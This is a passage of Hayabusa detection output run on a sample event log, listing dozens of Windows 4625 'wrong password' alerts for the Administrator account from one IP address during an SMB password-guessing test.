NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ssZya6gArnuepKyW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rsDEj6o0NaKUYPZL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pELSIsupIYAxPCtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: urHCDmdCfNexxUHf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: czGXZFukLquA9Mce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: icWMY9pKCQMyTxJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v28FLC2WXEXSUiI5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.510 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FwhjHww5iA51SFjp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 96BwmhKqDIojhdRA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DiRvofjwoeAdHYrv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.655 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BNLdOrPwbvYELiCc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x15WKTspmg2ALHaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QMoQWddkcYtCmoKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jhTbfX42Pwn7OA2k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yXcbUCgAhVFfqLc3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.856 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GHyXVM0jpaKBiY9N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TZoWEcU6VbEnrLpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.939 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LIfEzNQWwvrai4ga : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DhImfqWz7SHId9hE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.014 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s6sekQfneNE5uFtx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iEQ6KkZEHGcSgdA8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.103 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qzxJYBbM7ZMaaGOo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wO5GFBqSltNfjtQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PdsMzjfP1ZcPju2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2LqpKmoCX9slPXie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ouHvw1LXTN3OSFYb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tZIB1QO7hfugceJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u4QU2BQ0u5tJsdjG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0P7NKiKCmLvu6L1L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4obkK4RfsLZe5gdi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JRUDpDLhgop8d1el : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LvdsNkFqfFWRePXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5wvd8c1jYrEZMcKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AWvECxgkvWdg9Zdc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lHHPOAYSMSp3BhX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rJicXUMfrx9BOzHI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eybrQWvrvwSkNADJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VVMPCaQB0XteDSwC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lbjjLoATZE6KPIQv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tips954DRcYeIB2T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nLe9aMiMz0akxfWW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: csroGB9KZOZkb5sY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Zl4Rc25RsvJ7Y9H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C5CxqCFOIJBMZCD6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gVPwxpR05F3B5aXp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nP317UkK2DhTD5Rd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ir3c7dqXm1LhbfqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1U1QZiJSrEufxF3b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HZnDnDhTPuC9n5A1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72gY1ClzwuisAhKW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nrneLGOZCwPIeQgT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.386 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dm3gGV2yR4B3yrJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fzeklLG1KCTE5FpP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uZPwxCw3EWy9NShk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MalB3OcsOsRaMtS3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XMZMqCYPHO3n4RIh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1VUeIuU1rQPISNA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: md4ioB8wNiaz2EKB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nM8QaFeqwDfJZ1gc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlR75rMhpLnfQZbC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.746 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WF8BcOe4YUDYTXkj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FK0Iiao20PyPmtTk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kQbCbAHrQilFmMZP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.866 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VUdXQOw98VVoksDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fISqpC8eKlaQGabv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s5Y0VryMAHjtB3n2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bsjAHlztFIC8tBt0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CiEQlAlTOhqOKpmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i7lUqZMROQXNUtQm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0eFCGEtOLzjUxI5v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CqfOAGcVcwSgaeo3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2hcqVJzkVgvUnebk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9ZpqiTGXqJlAQTZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.255 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qCzXKlJ2vPeqqdfa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tITW0ihpErFk3nKp : IP Address: 192.168.198.149 : AuthPackage: 